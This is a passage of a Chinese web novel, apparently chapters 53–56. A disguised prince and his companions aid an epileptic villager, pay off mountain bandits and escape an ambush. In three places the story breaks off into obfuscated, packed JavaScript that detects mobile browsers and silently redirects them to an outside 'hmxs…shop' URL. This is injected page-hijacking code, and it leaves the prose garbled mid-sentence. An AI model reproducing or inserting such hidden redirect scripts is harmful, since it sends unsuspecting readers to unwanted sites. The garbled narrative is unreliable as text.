“帮我梳头吧,”穆衍道,“回程的路上还得用来时的假身份,不如今晚先适应一下。” “……”江沁月又有些微微脸热。 只是梳个头而已,本也算不得什么亲密暧昧的举动,但奈何江沁月如今正是心猿意马的时候,一点小动作都能让她浮想联翩。 天天跟这么个帅哥演夫妻,江沁月都怕自己入戏太深,心一横假戏真做。 穆衍对他自己的容貌也是有自知之明的,就不怕她对他起了歹心吗? 江沁月努力遏制住自己飞扬的思绪,将梳齿插进了他发间。 就是嘛,之前在猎场时不也给他束过发吗? 梳齿细密,穆衍的头发又长,刚洗过晾干时难免有些小结难以梳开,江沁月手上的动作更加细致温柔,生怕弄疼了他。 “此情此景,倒叫我真有些想念父王和母妃了。”穆衍微微偏头,忽然出声道。 “听殿下所言,先王与先王妃感情一定很好,殿下能给我讲讲他们的故事吗?”江沁月还真有点好奇。 “父王与母妃……他们具体是如何相识相知的,我也不甚清楚,只知道他们彼此一见钟情,不然以纪家的门第,母妃是不太可能嫁进王府的。” 穆衍说着陷入了回忆:“其实自父王受命出征之后,我们一家人便总是聚少离多,父王与母妃虽算不得如胶似漆,但视彼此为此生唯一挚爱。” “我印象最深的便是,每日晨起去向他们请安时,总能看见父王为母妃梳妆描眉,十年如一日。” “这下你知道我为何会梳女子的发式了吧?都是耳濡目染学来的。” 他絮絮叨叨讲了很多,生活琐碎平淡,父母情意深浓,王府人丁不旺,一家人倒也算幸福美满。 说到最后,他轻笑一声,蓦地伸手握住了身后江沁月的手腕:“我不太信一见钟情,但我也希望能遇见真心相爱之人,与之共度余生,就如父王母妃那般。” 江沁月愣了一下,抽回手将梳子放到案几上:“殿下会如愿以偿的。” “那便借你吉言了,”穆衍笑了笑,起身后又垂眸看她,“快回去歇息吧,明日还得早起赶路。” …… 江沁月没想到,回程的路竟真比来时艰难不少。 不同于来时宽阔平坦的官道,他们这些时日基本上都在崇山峻岭间穿行,山间小路本就崎岖难行,路面也因年久失修而坑坑洼洼。 且义水是位于青州与益州交界之处的偏僻小城,所以他们这一路上是越走越荒凉,也住不上好的客栈,甚至时不时还在乡野人家里借宿。 白天一路颠簸舟车劳顿,晚上还得躺硬板床睡得腰酸背疼,江沁月实在有些吃不消。 再加之她上次服用的止疼药丸已经开始渐渐失效,那种蚕食骨肉般的隐痛阵阵发作,令她心生恐惧。 江沁月牢记太医的叮嘱,不敢因为这点痛便断然服药,便把那止疼药丸随身带上,以备不时之需。 她也一直极力忍耐着,怕被青玉方和穆衍瞧出些不对劲,又得叫他们白担心。 种种不适的摧残之下,江沁月白天也常常犯困。 见她又开始脑袋一点一点地东倒西歪,穆衍熟练地拿来一个软枕垫在腿上,让她能以一个舒适些的姿势平躺下来。 每到这时,江沁月就会骤然清醒。 她本以为有了来时的经验,回去的路上她也能当一把老戏骨,与穆衍轻车熟路地继续假扮夫妻。 但是她忘了这一路还有青玉方同行,多了个老熟人观众,这一下子就有些局促尴尬了起来。 青玉方坐在她与穆衍的另一侧,大部分时候她都抱着本医书啃,但江沁月总觉得她时不时瞟向他们的目光里,似乎总含着些不明的探究意味。 “咳咳……玉方,在车里这样看书,小心别把眼睛看坏了。”江沁月连忙爬起来坐直了身子。 青玉方见她这没话找话的样子,差点压不住嘴角的笑意:“打发时间罢了,这书我已是倒背如流,不必认真看。” “……” “公子,天色不早了,今晚大抵又得在前面村子里寻户人家借住一晚了。”云霏道。 穆衍应了声好。 天黑后山路更为难走,搞不好还会撞上山匪或野兽出没,所以他们一般都会提前找到落脚点。 一路行来虽平安无事,但小心驶得万年船,眼下离义水也不远了,赶路不必急于一时。 待他们进了前面的村子,才发现这里好生奇怪,家家户户炊烟袅袅,却又都紧闭门户,外面见不着半个人影。 这种诡异的违和感让江沁月不由得有些心里发毛。 云霏一连敲了几户人家的大门,却无一家敢给他们开门,连应个声的都没有。 甚至本来在门外还能隐约听见些屋里人的说笑声,他们一敲门问话,里面便立刻鸦雀无声。 “什么情况?”云霏又一次无功而返,“难道他们就这般不待见外来人吗?” 一行人正要再往前面的人家去试试看,忽然听见方才的院中传来乒乒乓乓一阵响。 “哥!娘又不好了!”一个小女孩哭喊道,“快……快去请郎中啊!” “你小点声!外面有人!说不定又是……”小女孩的哥哥压低了声音,话却也只说了一半。 青玉方闻言上前去拍了拍门:“请开门吧,我就是郎中,让我看看病人是什么情况。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650144|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 静默片刻后,紧闭的门扉打开了一条缝,一个十二三岁的小男孩在门后探头探脑。 他警惕地看着青玉方:“姐姐,你真的是能看病的郎中吗?” 郎中不应该都是花白着头发、留着山羊须的老头吗? “如假包换的郎中,”青玉方拍了拍总在身上挎着的药箱,“听你妹妹的话,你娘的情况似乎不太好,让我们进去看看吧。” 小男孩沉思片刻,最终还是开门让众人进了屋。 青玉方跟着他去里屋查看他娘的情况,进屋便看见一名妇人倒在地上,口吐白沫四肢抽搐。 一个七八岁的小女孩坐在旁边抽噎着,被吓坏了又不敢哭出声。 看见哥哥带人进来,外面还站着好几个陌生人,她看起来更害怕了。 “你娘这是痫症发作了,就是你们说的羊角风。” 青玉方一眼便瞧出了问题所在,简单搭了脉后便从药箱里拿出银针,用火燎过后麻利地在妇人身上几处下了针。 果然,施针后妇人的症状很快便得到了缓解,青玉方和小男孩一起将她搬到了床上。 “姐姐,你好厉害,而且,你看起来还好年轻。”小女孩怯生生道。 青玉方笑着捏了捏她的脸:“在和你一样大的时候我就在学医了,现在已经给人看病好多年了。” 她转头对年长一些的哥哥道:“你娘的病肯定不是第一次发作了,有找郎中看过吗?痫症也算不上什么疑难重症,怎么不开个方子调养着?” “姐姐你们一定是才从外地来的吧?今时不同往日,我们连门都不大敢出,更别提请郎中来开方抓药了。”小男孩叹了口气。 “是出什么事了吗?”青玉方奇怪道,“罢了,先说正事,刚刚给你娘扎的那几个穴位,我直接教给你。不管是否吃药调养,只要以后再犯病,你照做即可。” 她教得认真,又事无巨细地将各种注意事项也讲了一遍,还开了两个调养的方子。做完这一切后,躺在床上的妇人也终于彻底清醒了过来。 “多谢姑娘救命之恩,姑娘真是华佗再世、菩萨心肠。”妇人说着就要从床上起身下拜。 “夫人言重了,这都是医者本分罢了。”青玉方连忙扶住了她。 妇人也瞧见了外面候着的一行人,救命之恩在前,又见他们无恶意,便毫不犹豫地同意了他们借住的请求。 “元正,去杀只鸡来招待客人吧。”她向儿子交代道。 江沁月几人也进了屋来,一番攀谈后得知,他们一家就母子三人,妇人姓陈,儿子叫陈元正,女儿叫陈元芷。 陈夫人原先的丈夫是个不争气的醉鬼,前几年喝酒喝死了,她也不想再带着儿女改嫁,便让他们改随自己姓后一直寡居在此。 “纪公子一看便知年轻有为,和夫人的感情一定也很好,真是让人羡慕。”陈夫人笑道,“还有青姑娘,年纪轻轻便医术高明,日后一定是名满天下的圣手。” 江沁月插嘴道:“玉方她已经是了!不知夫人是否听说过‘四海游医’的名号?” 陈夫人尴尬地摇了摇头:“应该是我们这边消息闭塞,所以还未曾听过青姑娘的名号。” “都是虚名罢了,况且我本也是第一次往这边来。”青玉方谦虚道。 说笑间天已擦黑,陈元正年纪不大却能干得很,自己一个人便宰了只鸡做好了一大桌菜,叫众人去吃饭。 他和陈元芷将母亲扶到桌前坐下,一群人围坐在一起边吃边聊,倒也空前热闹。 “我们来时便觉奇怪,为何这村中各家都关门闭户?可是出了什么事?”穆衍忽然问道。 陈夫人闻言深深地叹了口气:“此事便说来话长了。” 54. 穷山恶匪见钱开 “你们来的路上,可遇见过黑风寨的人?”陈夫人问道。 众人纷纷摇头。 “黑风寨?是山匪寨子吗?” “正是,”陈夫人提起这茬便满脸愁容,“你们是没撞上,不知道他们的厉害,这往后的路上啊,更得小心。” 云霏拧眉道:“这边匪患闹得很严重?官府的人不管吗?” “我们报过官,但是根本没用,官差来了也就抓走几个喽啰做做样子,那黑风寨倒是越发壮大了。” “官匪勾结,沆瀣一气,”穆衍一语道出了其中关窍,“关于这黑风寨的事,陈夫人知道多少?可否与我们详细说说?” 陈夫人点点头,思忖片刻后便将自己知道的事从头讲了一遍。 黑风寨正是从义水附近的山上发家的,某种意义上也算是占尽了地利人和。 义水位于青、益二州交界之处,两州幅员辽阔,交界的这一片崇山峻岭更是地广人稀。 黑风寨的人一开始只在义水附近的村镇中作威作福,后来行动范围渐渐扩大,两州边界的百姓深受其害。 他们也不去城里闹事,只在各处山村小镇中烧杀抢掠,或是打劫过路的行人。 官府一开始尽力打压过,但那点人手哪里管得过来这么大的地盘? 何况边界之地,出点事两边的官府便互相推诿,最后还是青州这边揽下了这脏活儿。 无利不起早,他们自然是被孝敬了好处,所以就睁只眼闭只眼,由着这些土匪去了。 得了上面的默许,黑风寨的人行事也是愈发猖獗,还发展出了不少分寨。 据陈夫人所说,黑风寨的人三五日便会来村子里劫掠一番,抢不到钱便让人以粮食牲畜来抵,抵不上便逼人将妻女交出来,掳回寨子里让弟兄们亵玩,过几日再将人放回。 是了,黑风寨的人也不赶尽杀绝,毕竟若是直接屠了整个村子,便少了一只能薅毛的羊。 江沁月听完这黑风寨为非作歹的事迹,不由得暗自心惊,真是天高皇帝远,再这样下去他们要造反了不成? “这种情况持续多久了?”穆衍问道。 “我们这边也有两三个月了,义水那边肯定更久以前就开始了。” 穆衍正色道:“在京城经商多年,也结识了些贵人,回京后我愿略尽绵薄之力,将此事上报,兹事体大,朝廷定会派人来剿匪的。” “不管怎样,我先替乡亲们谢过纪公子了。” 陈夫人笑说着客套话,大抵不信穆衍会为此事奔波劳心,也不信朝廷官员便会有所作为。 饭桌上的气氛有些沉闷,陈元正便岔开了话题,问起了青玉方的事,青玉方也挑着些学医行医时的趣闻讲来给众人听。 “青姐姐,学了医是不是就能治好娘的病了?”妹妹陈元芷听得起劲,黑葡萄似的圆眼亮晶晶的。 青玉方笑道:“元芷真是个孝顺的孩子,不过,学医可不是个轻松活儿。” “青姐姐之前说,在和我一般大的时候就在学医了,”陈元芷不服道,“那我不怕吃苦的话,青姐姐可以教我学医吗?” 陈夫人瞪她一眼:“人家是名满天下的神医,小孩子家的别胡搅蛮缠。” 被母亲一斥,小姑娘只得闭了嘴默默扒饭。 “有志向是好事,元芷现在可识字了?”青玉方问道。 陈元芷点点头。 青玉方取来一本厚厚的旧书:“这本书送给你,能把它吃透的话,也算是学医入门了,里面有我以前初学时做的批注,看起来应该不会太吃力。” “谢谢青姐姐!”陈元芷眼神一亮,欣喜地双手接过。 青玉方接着道:“你现在还小,我们以三年为期,若是届时你悟透了这本书,仍然想学医的话,我就收你为徒,如何?” “真的吗?”陈元芷不可置信道,一边的母亲与哥哥也是满脸惊讶。 “这……元芷她一个乡野丫头,何德何能入得了青姑娘的眼……”陈夫人道。 “我见她觉着有缘吧,”青玉方笑道,“三年后的事谁也说不定,届时我会再过来的。” 陈元芷抚摸着书本略微陈旧的封皮,爱若珍宝:“我一定会好好学的!” 饭桌上又是一片欢声笑语,黑风寨的事早已被忘却脑后。 众人用完饭后便也早早歇下,为明日的行程养精蓄锐。 翌日一早,江沁月一行人整装待发,走之前还留了好些银钱给陈家,权当是住宿费。 既然得知黑风寨的老巢在义水附近,他们便打算加快些脚程,争取在今晚日落前直接赶到义水城中,以免夜长梦多。 这一路上都很顺利,没道理今天这么倒霉吧?江沁月如是想着。 然而天不遂人意,一路飞驰的马车猛地急刹停了下来。 “车里面的,出来吧。” 一道不耐烦的声音响起,夹杂在众多同样不怀好意的窃窃私语中。 驾车的云霏撩开车帘,回过身看着穆衍,用口型无声唤了他“殿下”。 穆衍微微摇了摇头,起身准备下车,又将正要一起下去的江沁月按了回去,低声嘱咐她和青玉方在车上等着。 一下车便见马车前方站着几十个山匪,拦死了前行的路,个个凶神恶煞,头上绑着条黑布巾,手里都抄着家伙事。 那带队的小头目从方才掀开的车帘一角看见了垂落的裙裾,看也不看穆衍一眼:“里面的女的,也下来。” “来的路上便听闻过黑风寨的威名,几位大哥开个价吧,”穆衍不卑不亢道,“夫人体弱胆小,万望高抬贵手,放我等通行。” 小头目啐他一口:“听不懂人话吗?老子说车里的都下来!男的女的是人是狗都给老子滚出来!” 江沁月和青玉方赶忙也下了车,为了迎合穆衍给她的“体弱胆小”人设,江沁月低头垂眸不语,还瑟缩着身子往青玉方那边靠。 小头目打量了她们一眼,向身后的喽啰们比了个手势,他们便一哄而上去搜车。 “开什么价,得看公子有多少身家,你说是也不是?”小头目嘴上说着,眼神却一直在江沁月和青玉方身上打转,时不时还瞥一眼那边的云霞。 穆衍没吭声,沉着脸将江沁月连带着青玉方拉到了自己身后。 “头儿,没啥值钱的玩意儿,就是些衣服首饰之类的。”不消片刻,一个喽啰来汇报道。 地上的那口箱子里,七零八落地堆放着一些金钗玉环宝石首饰,连车里的鎏金灯台都被卸了下来。 不过这些东西确实不大值钱,他们假扮的是普通富商夫妻,又不是京城首富夫妻,自然不会准备多好的东西。 但话又说回来,再有钱的人也不是傻子啊,谁会带几大箱子金银元宝出门吗? “咱们一群大老爷们,拿这些娘们用的东西有啥用?小白脸你穿得人模狗样的,是一点值钱的玩意儿都不带啊?” 小头目的言下之意昭然若揭,他想让穆衍一行人将女人留下抵过路费。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675163|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江沁月悄悄翻了个白眼,真是蹬鼻子上脸,光搜车不搜身演都不演。 青玉方冷眼看向对面那群悍匪,一手笼罩在袖中,不知道在想些什么。 “我明白你的意思,恕难从命,”穆衍也疾言厉色了几分,从袖中摸出一个锦囊丢给了那小头目,“做人留一线,这个数目,再怎么样也够放我们离开了吧。” 小头目不屑地单手接过那锦囊,却被压得手腕一沉。 “哟?”他来了几分兴致,打开锦囊一看,顿时瞪大了双眼。 鼓囊囊的,沉甸甸的,亮闪闪的,满满一袋金叶子。 “嚯!看不出来,小白脸你出手还挺阔绰,”小头目掂了好几下,估摸着重量没问题,便挥手让喽啰们让开一条道。 “老子也不是不讲理的人,钱到位一切都好说,你们走吧,”他让人将搜罗出的那箱首饰抬回马车上,“这些你们也带走,别碍老子事。” 干了这么票大的,够他们逍遥快活至少一个月了。 一行人也不再与这群山匪多废话,上了马车便扬长而去。 “咳……那什么,那一袋子真的都是实打实的金叶子吗?”有青玉方在,江沁月是不大能自在开口喊穆衍夫君了。 穆衍云淡风轻地点点头。 “就这么给了那些坏事做尽的王八蛋?”江沁月倒吸一口凉气,她以为会用什么别的东西以次充好一下。 “且让他们得意一下,”穆衍淡声道,“我们此行说到底也不光彩,暴露身份不是明智之举,倒不如舍财免灾,息事宁人。” 没人会跟钱过不去,这些山匪更是见钱眼开,没开那就是钱还没给到位。 “放心,此事我已有了主意,回京后他们便等死吧。”穆衍温言宽慰江沁月。 “公子,其实以我们的身手,方才那些人应该可以直接解决掉。”云霞忽然道。 穆衍不赞成道:“罢了,若是放跑几个漏网之鱼回去通风报信,那我们麻烦才大了。” 烈日当空,已行至正午时分,幸而盛夏已过,山林间又草木繁盛,遮天蔽日,所以也不觉炎热。 但人要吃饭马要吃草,所以他们还是寻了处空地准备休憩一阵。 “照现在这个速度,今日天黑前我们怕是到不了义水城中。”云霏边啃干粮边看着地图发愁。 云霞白他一眼:“说到得了的是你,说到不了的也是你。” “你也不看看这越往后的路是越难走!”云霏恼道,“要是都是平路,剩下的这点路不用半天就到了。” 他觉得自己真是委屈,山路本就难行,眼瞧着靠近义水,这路是愈发窄愈发险了,还七弯八拐的,马车根本跑不快,他都怕一不留神把车给驾翻了。 “不急于一时,实在不行就再借宿一晚,我还有钱的。”穆衍劝和道。 “就是就是,钱重要还是命重要?”云霏朝妹妹龇牙咧嘴道。 云霞哼了一声,懒得再跟他吵。 稍作休整之后,一行人正要接着上路,忽然听见云霏“哎哟”一声惊叫。 定睛一看,他肩头上正落了一坨新鲜热乎的鸟粪。 云霏指着天空破口大骂:“死鸟!臭鸟!这么会找地方!真晦气!” “好像是信鸽。”穆衍眯了眯眼。 “信鸽?这荒山野岭的哪来的信鸽?”云霏嫌恶地擦着衣服上的污渍。 “不会是刚才那群黑风寨的人,拿我们的事给他们老大邀功行赏去了吧?” 55. 快刀乱麻逃生天 黑风寨总寨中,彪悍魁梧的大当家与一个文弱书生打扮的青年相谈甚欢。 “大人您放心,咱兄弟伙行事都是有分寸的,绝不会让你们为难,正所谓那个……取之不尽用之不竭嘛。” 大当家笑得爽朗,大手一挥让人抬来几个箱子:“小小心意,不成敬意,还请笑纳。” “大当家客气了。”书生摇头佯装推辞一番,最后还是吩咐人天黑后再来抬走。 一只信鸽“咕咕”叫着,扑棱着翅膀径直飞到了大当家肩膀上。 “哟,是老五的信?这小子又出啥事了?” 大当家取下信鸽脚爪上颇有些分量的小布袋,根据标识一眼便看出是哪个分寨送来的东西。 他掏出布袋里团得皱巴巴的小纸条,看完后紧皱的眉头一下子舒展开来。 “嗐!这小子干了票大的,上赶着邀功来了!”大当家将布袋中附来的几片金叶子摊在手心,“老五那边也算是出息了!” 书生来了兴致:“哦?五当家献来了什么宝贝,竟让大当家如此开怀?” “我们这些粗人,自然最喜欢真金白银的家伙,”大当家把那几片金叶子都抛了过去,“大人请收下吧,老五说他那里还有的是,改日再叫人送来。” 书生接过金叶子定睛一瞧,却是敛了笑意,他拿起一片对着光细细端详了一阵,神色更是凝重了几分。 “这东西是哪里来的?罢了,把那信给我看看。” 他飞速读完那字烂得跟狗爬似的信,神情却不见轻松分毫。 信上说,他们的人遇到了一个有钱的冤大头,狠狠敲了一笔,那人还说早对黑风寨的威名有所耳闻云云。 什么冤大头?他们怕不是要大祸临头! “大当家可知,这金叶子是何来头?”他问。 “有钱人的东西呗!拿金子雕些花啊草啊,弄点什么金杯子金盘子,这有啥?”大当家不以为意。 书生深吸一口气:“大当家有所不知,能随身带着金叶子的,绝对不是普通的有钱人。” 这金叶子铸造工艺复杂,其上的叶脉纹路栩栩如生,看似薄薄一片,重量可实在得很。 五当家在信中说他手上还有许多,怕不是一下子得罪了什么不得了的人…… 大当家见状不由得也有些慌了神:“依大人之见,老五这可能是招惹了什么人?该如何是好?” 书生站起身,在屋里来回踱步,似是陷入了思考。 他只是个在义水府衙上跑腿办事的小官,虽脑子活络些,但也没见过多大世面。 不过这金叶子,他恰好在一个远方堂哥那见过。 那堂哥在青州州府里做事,之前办事得力,刺史大人便赏了他一片金叶子。 堂哥得了赏赐之后宝贝得不行,穿了条绳子日日挂在脖子上,逢人便要炫耀一番,说这金叶子是多么稀罕的玩意。 这刺史大人可是从前权倾朝野的李相,瘦死的骆驼比马大,他的恩赏自然差不了。 “大抵是京城里颇有些分量的权贵才会有这玩意,五当家这搞来一大把……” 书生眼中精光一闪,停下了踱来踱去的脚步:“大当家,我有一计。” 大当家招手示意他上前来讲。 “当断不断,必受其乱,唯有快刀斩乱麻方能安心,以免夜长梦多。” 大当家闻言瞪大了双眼:“大人可别害了咱兄弟伙,既然知道那些人来历不简单,那灭了他们不是更要遭报复?” 书生扯出一个诡谲的笑:“大当家此言差矣,咱们这荒郊野岭的埋骨之地,就算天王老子来了也是死无对证。” 他继续道:“放他们离去无异于放虎归山,来日必定后患无穷,大当家可得想清楚了。” 大当家沉思片刻,抬手叫来一个刀疤脸,低声吩咐了几句。 “去吧。”他拍拍刀疤脸的肩膀,让他带人快去快回。 书生叮嘱道:“下手干净利落些,一个活口也别留。” …… 伴着云霏与云霞兄妹二人时不时的斗嘴声,马车沿着蜿蜒山道一路前行。 车里江沁月也在对过于昂贵的过路费发表痛心疾首的高谈阔论。 “万一前面还有拦路的,个个都狮子大开口可怎么办?咱们还拿得出那么多钱吗?”江沁月振振有词。 “拿得出,”穆衍一副处变不惊的样子,“我身上还有银票,方才拿金叶子是为了唬人。” 沉甸甸的金子可比几张薄薄的银票看起来实在多了。 “本来就是打赏人的小玩意,太沉了我也懒得拿,府里还多的是。”穆衍无所谓道。 虽然说千金散尽还复来,但再有钱也不能这样瞎折腾啊! 不等她据理力争,马车又一次急停下来。 “车里面的,下来吧。” ……坏了,自己的乌鸦嘴应验了吗? 看来又要破财了。 江沁月一行人也不磨蹭,直接下了车,却惊讶地发现这次来了好几十号人,他们站成一圈将马车围在中间,如同铁桶一般。 穆衍直截了当地让他们开个价。 “不错不错,还挺豪横,是个懂规矩的,”为首的刀疤脸鼓了几下掌,“不过可惜了,你有再多钱也没用。” “我们大当家的说了,要命不要钱。” “哦?是来杀人灭口的?”穆衍眯了眯眼,“你们黑风寨的人,多少有点不地道了。” “我们不地道?”刀疤脸嗤笑一声,“那敢问公子是何方神圣?可否报上名来?” 云霏闻言挑眉:“何方神圣?知道我们身份不简单还敢来灭口,谁给你们出的馊主意?” “少唬老子!身份不简单那就更不能放你们离开了,”刀疤脸手上的大刀反射出锃亮寒光,“死在这,你们就是无名无姓的孤魂野鬼。” “行了,别废话!兄弟们上!”刀疤脸显然是懒得亲自动手,吆喝着其他人一窝蜂围攻上去。 双拳难敌四手,解决掉他们简直不必费吹灰之力。 但云霏和云霞都不是吃干饭的,穆衍在边关的那几年又不是去旅游的。 纵然身上没带着刀剑武器,那也不可能一点防身措施都没有。 兄妹二人齐齐护在穆衍几人身前,他们一手抽出藏在腰带间的软剑,一手掷出几枚飞镖,打头阵的几个山匪霎时便没了气息。 软剑到底是有些不好应敌,兄妹二人随手捞起两把落在地上的大刀掂了掂。 “公子!接着!”云霏还顺带丢了一把给穆衍。 穆衍接过刀,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700641|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江沁月和青玉方拉到自己身后,和云霏、云霞一起将她二人护在中间。 后面的山匪被顷刻间毙命的同伴震慑住了,一时竟呆愣在原地不敢再上前。 刀疤脸的面色也难看了几分,但他还是喝道:“怕什么?给老子上!一群废物!他爷爷的三个人就给吓尿了!” 一群人只得硬着头皮抄着家伙冲了上去,毫无章法的挥砍在穆衍三人看来如同儿戏。 若不是要时刻注意将江沁月和青玉方护在中间,他们应付得还能轻松自在些。 动了真格那自然是要见血的,一股温热的鲜红液体又溅到了江沁月脸上。 穿越前她生活在法治社会,穿越后赶上的也是太平盛世,所以她无法做到麻木地目睹死亡。 就像上次看见李岱被一箭穿喉一样。 但眼下的局面不是你死就是我亡,她来不及去想那么多,只恨自己没本事帮着砍两刀赶紧脱身逃跑。 江沁月用衣袖胡乱抹掉脸上的血迹,回头去看青玉方,只见她面色沉静,垂落的衣袖间露出一截手指。 以及指间夹着的什么东西。 刀疤脸的脸色已是难看至极。 尽管他们人多势众,却还是渐渐有不敌之势。 他吹了声长哨,四方的山林间都传来簌簌响动。 “他们还有人!”云霞提醒道。 他们三人也不是铁打的,在山匪的地盘上长久地纠缠下去,最后先倒下的一定是他们。 四面八方的山匪向他们这边汇集而来,隐隐形成包夹之势。 “公子,你带江姑娘和青神医突围出去,先往义水那边去,我和阿霞先拖着他们。”云霏立刻提议。 “好,马留给你们。”穆衍当机立断,瞧准一个薄弱的突破口便提着刀上前开道。 云霞将兄长推向身后:“去帮他们!我断后!” “拦住他们!别让人跑了!”刀疤脸自然也看出了他们的意图。 然而在山匪们包抄过来之前,细细密密的银针率先狂风骤雨般地袭向了他们。 细如雨丝,密如牛毛,让人防不胜防,中招的山匪不出五步必定倒地。 江沁月回头一看,只见青玉方抬手朝向另一个方向,指间的小圆筒里又迸发出无数银针,向那边的山匪裹挟而去。 对哦!江沁月终于又想起了青玉方之前送她防身的同款暗器。 只是她那个只有十发,青玉方手上这个明显威力更加巨大。 穆衍那边与云霏一起杀出了一道豁口,他回身来一把握住江沁月的手腕,一手提着仍在滴血的大刀。 “快走!”他朝青玉方喊道。 见三人冲出了包围圈,云霏也立马转头去帮妹妹一起拦截想要追上前去的山匪。 百密总有一疏,何况他们只有两人。 故而穆衍三人一边拔腿狂奔,一边还要分神应付这些穷追不舍的零星山匪。 江沁月也瞧准时机用银针放倒了几个敌人,青玉方给她的小圆筒里只剩八发银针,因此更得物尽其用。 跑出了不知多远,身后总算是没有了追兵的影子。 “等等!药!殿下你的药!” 江沁月忽然想起一件重要的事——天山雪芝,穆衍的救命灵药,被落在马车上了! 56. 生机一线予谁安 危机当前,穆衍显然也已将这来之不易的宝贝忘却脑后。 他短暂地停顿了一下,便头也不回地继续向前:“先别管了,保命要紧。” 现在掉头跑回去拿药,与送死无异。 “别担心,我拿上了,”青玉方拍了拍挎着的药箱,“天山雪芝太名贵,我怕被他们搜刮了去,便悄悄带出来了。” 江沁月狠狠地松了口气:“太好了!玉方,你真是这世上顶顶可靠的人!” 说话间,几人的脚步也没有慢下来分毫,甚至他们也无法确定,到底还要跑出多远才能真正的安全。 不过至少不是现在,不是这前不着村后不着店的山路上。 穆衍是上过战场的,青玉方是常年在外游历行走的,他们的体能自是不用说,一口气跑出十里八里轻轻松松。 然而江沁月一个体测跑八百米都能去了半条命的,已然快要撑不住了。 双腿沉重得像是被灌了铅,只能靠本能腾挪着步子向前,她上气不接下气,喉咙里也泛出淡淡的血腥味。 更要命的是,那该死的折磨人的毒痛,此刻似乎又开始隐隐发作。 江沁月心里叫苦不迭,为什么偏偏是这个时候?! 这无疑是给她本就艰难的逃命之路又上了一道酷刑。 穆衍抓着她的手一直没放开,拖着她一路连走带跑直到现在,他微妙地察觉到了她的不适。 “沁月!你还好吗?要不要休息一下?”他回头见她脸色煞白,被吓了一跳。 青玉方闻言一看,也关切地问她怎么样。 “大概是跑太累了,天热又中了暑气,”江沁月勉力笑了笑,“我没事,走慢些缓一缓就好。” 现在远不是能歇息的时候,况且她觉得自己还撑得住,也不想让他们忧心。 其实此刻三人各有各的狼狈,发髻汗湿凌乱,衣衫脏污破损,从容气度尽失。 “殿下,回了京城……你可千万不能放过他们啊!一定要告到中央去啊!”江沁月提起精神来想活跃一下气氛。 “嗯,不会放过他们的。”穆衍平淡而笃定。 三人一刻也不敢停,也不知究竟走了多久,直到日头已经又向西偏了几分时,终于看到了几户人家。 等他们走近前去才发现,这些人家已经荒废破败,屋主人早已不知所踪,大概是被山匪迫害得不堪其扰,搬走避难去了。 “寻一间干净些的屋子,将就一晚上吧,”穆衍道,“今天肯定是走不到城里的,我们休整一下,等等云霏和云霞。” “他们找得到我们吗?会不会以为我们直接往义水城去了?”青玉方问道。 穆衍倒是丝毫不担心:“不会,我一路留了记号,他们看得到。” 江沁月对于休整一夜的提议也是喜闻乐见。 一路走来,沉寂已久的毒痛发作得越来越频繁,也越来越严重。 她后知后觉地想起,张院判曾叮嘱过她尽量不要剧烈运动,否则可能激发毒性发作。 这一路都强忍着故作轻松,行至此处她真的快要坚持不住了。 江沁月下意识地迈步想要跟上前面二人,却再也支持不住被奔波疲惫和蚀骨疼痛折磨得摇摇欲坠的身体。 她双腿一软就要向前栽去,穆衍急忙将她揽进了自己怀中稳稳接住。 “沁月?”他这才注意到,江沁月的脸色已经惨白如纸,身上的衣衫已被涔涔冷汗浸透。 她这副痛苦而脆弱的模样似曾相识,穆衍一下子变了脸色。 “是不是毒发了?药,那个止疼药丸你带了吗?” 穆衍僵着身子完全不敢动作,生怕一丝一毫的牵扯都会加剧她的痛楚。 江沁月靠在他怀里,虚弱无力地点点头:“我随身带着的。” 她颤抖着将手伸向衣袖里的暗袋,却只摸到了一片菲薄的布料。 随身携带的小药瓶不翼而飞——或许是在逃命的路上一不小心跑丢了。 江沁月瞬间如坠冰窟。 “殿、殿下,药……好像被我……弄丢了。”不知是因为疼痛还是慌张,她的声音也有些发抖。 “怎么回事?”青玉方见状自然也知道江沁月不可能是简单地累着热着了,一时却没听明白他们的话。 她二话不说便要去搭江沁月的脉,江沁月不自在地躲开,将手缩回了袖中。 “青神医,沁月没找你瞧过她的毒么?”穆衍看见了她的小动作,“她之前说会自己找你帮忙看看。” 青玉方闻言神色一凝:“什么毒?她从未和我提过。” “你可知西辽的七星堂?”穆衍问道,“是他们的毒,具体是什么不清楚,太医院那群蠢货也束手无策,一直拿药吊着。” “七星堂?略有耳闻,”青玉方点点头,意识到此事大概说来话长:“这里不是说话的地方,先把沁月抬到屋里去,殿下再与我说说到底怎么回事。” 穆衍拦腰抱起江沁月,她痛得闷哼一声。 